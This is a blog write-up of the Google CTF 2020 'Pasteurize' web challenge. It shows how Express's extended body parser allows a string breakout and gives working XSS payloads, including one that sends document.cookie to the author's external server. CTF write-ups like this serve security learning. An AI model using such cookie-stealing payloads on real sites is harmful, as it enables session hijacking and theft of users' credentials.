Google CTF 2020 Pasteurize Web Challenge Write Up

2020-08-23

This is the write up for Pasteurize Google CTF 2020 challenge from the perspective of someone who does not routinely do CTFs. A friend of mine teamed up with me and even though we did not go that far, we had fun and learned something.

Challenge description

In this challenge, we get a URL: https://pasteurize.web.ctfcompetition.com/ and a description that says:

This doesn’t look secure. I wouldn’t put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?

On this website, we can create a “Paste”. After submitting it, we get redirected to a page with a random id, which shows our note.

We also have the option to share this with TJMike🎤. 

There’s a JavaScript that says sharing with TJMike and after a timeout it goes away.

Clues

Looking at the HTML source of this page, looks like the “Paste” note is populated inside

The idea is to close the note definition (Yellow part is what we inject):
const note = “a” ;[Inject JS code here];

This is not trivial because double quotes and<, > are being encoded. Going back to the /source, we see that the bodyParser is enabled with extended: true.

/* They say reCAPTCHA needs those. But does it? */ app.use(bodyParser.urlencoded({ extended: true }));

In general, when working with different parsers and serialization libraries, usually the Extended-like options are dangerous. In our case, it essentially allows us to send array-like objects as POST parameters [Read more…].

We can try this “content[“bar”][“content”]=”foobarbaz” POST payload, which results to:

const note = ""\"bar\"":{"\"content\"":"\"foobarbaz\""}";

Notice that already we have the quotations we need to close const note definition and inject our payload. We can confirm that alert works by POSTing this payload:

content[;alert(1)//]["content"]="foobarbaz"

Finally, we can add an image to the page that sends the Cookies as the query string to our server:

content[;var i=new Image; i.src='https://silverf0x00.com/dump.php?c='.concat(document.cookie);//]["content"]="foobarbaz"

So the JS code within the page looks like this:

   const note = "";var i=new Image; i.src='https://silverf0x00.com/dump.php?c='.concat(document.cookie);//":{"\\"content\\"":"\\"foobarbaz\\""}";
    const note\_id = "394a5c5f-f43c-4e9f-b73f-db36f9065191";
    const note\_el = document.getElementById('note-content');
    const note\_url\_el = document.getElementById('note-title');
    const clean = DOMPurify.sanitize(note);
    note\_el.innerHTML = clean;
    note\_url\_el.href = \`/${note\_id}\`;
    note\_url\_el.innerHTML = \`${note\_id}\`;

And after asking TJMike to check out our paste, we get the flag in the cookie. CTF{Express_t0_Tr0ubl3s}